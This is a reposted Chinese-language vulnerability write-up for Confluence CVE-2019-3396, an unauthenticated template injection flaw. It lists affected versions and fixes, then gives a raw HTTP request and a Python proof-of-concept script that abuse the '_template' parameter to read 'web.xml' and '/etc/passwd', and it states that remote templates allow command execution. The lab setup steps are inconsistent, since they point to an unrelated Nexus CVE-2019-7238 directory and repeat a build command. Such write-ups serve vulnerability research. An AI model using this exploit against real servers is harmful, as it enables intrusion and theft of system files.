Confluence未授權模板注入/代碼執行(CVE-2019-3396)



title: Confluence未授權模板注入/代碼執行(CVE-2019-3396)
tags: [poc,cve]

簡介


Confluence是一個專業的企業知識管理與協同軟件,也可以用於構建企業wiki。使用簡單,但它強大的編輯和站點管理特征能夠幫助團隊成員之間共享信息、文檔協作、集體討論,信息推送。

影響范圍

    6.6.12版本之前所有版本
    6.7.0-6.12.2版本
    6.13.3之前的所有6.13.x版本
    6.14.2之前的所有6.14.x版本

漏洞成因

使用_template參數覆蓋Velocity渲染模板, 使用file:協議可以進行任意文件讀取(不再受限於classpath)

修復方法

    1、升級Confluence版本
    2、主動升級widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar

環境搭建

    1.在centos 7 上安裝docker和docker-compose

        (1).安裝PIP
            curl -s https://bootstrap.pypa.io/get-pip.py | python3
        (2).安裝docker
            curl -s https://get.docker.com/ | sh
        (3).啟動docker服務
            service docker start
        (4).安裝docker compose
            pip install docker-compose
    2.使用方法

        (1).下載漏洞環境項目
            git clone https://github.com/vulhub/vulhub.git
        (2).進入到nexus利用環境
            cd vulhub/nexus/CVE-2019-7238
        (3).編譯環境
            docker-compose build
        (4).執行如下命令啟動Nexus Repository Manager 3.14.0
            docker-compose build

漏洞復現

    1、進入到CVE-2019-7238目錄
        cd CVE-2019-7238
    2、配置環境,在瀏覽器打開http://192.168.1.152:8090 進入安裝引導,選擇“Trial installation”,之后會要求填寫license key。點擊“Get an evaluation license”,去Atlassian官方申請一個Confluence Server        的測試證書(不要選擇Data Center和Addons),這里提供已經申請好的license key:
    AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4
    3、然后點擊Next安裝即可。這一步小內存VPS可能安裝失敗或時間較長(建議使用4G內存以上的機器進行安裝與測試),請耐心等待。如果提示填寫cluster node,路徑填寫`/home/confluence`即可:
    后續要求你填寫數據庫賬號密碼,選擇postgres數據庫,地址為`db`,賬號密碼均為`postgres`:
    4、發送如下數據包,即可讀取文件`web.xml`:
```javascipt

    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
    Content-Type: application/json; charset=utf-8
    Content-Length: 176


    {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
    ```
    6.12以前的Confluence沒有限制文件讀取的協議和路徑,我們可以使用`file:///etc/passwd`來讀取文件,也可以通過`https://...`來加載遠程文件。
    該文件是一個Velocity模板,我們可以通過模板注入(SSTI)來執行任意命令:

poc:


#!/usr/bin/env python 
# -*- coding:utf-8 -*-

import requests
from bs4 import BeautifulSoup as Bs4
import json

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Connection": "close",
    "Referer": "http://192.168.1.152:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
    "Content-Type": "application/json; charset=utf-8"
}
def _poc(url):
    path = "/rest/tinymce/1/macro/preview"
    urls = url.strip() + path
    data = json.dumps({"contentId": "786458", "macro": {"name": "widget", "body": "",
                                          "params": {"url": "https://www.viddler.com/v/23464dc6", "width": "1000",
                                                     "height": "1000", "_template": "file:///etc/passwd"}}})
    response = requests.post(url = urls,data=data,headers=headers)
    soup = Bs4(response.text,"lxml").text
    print(soup)

if __name__ == '__main__':
    url = "http://192.168.1.152:8090"
    _poc(url)

參考鏈接:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM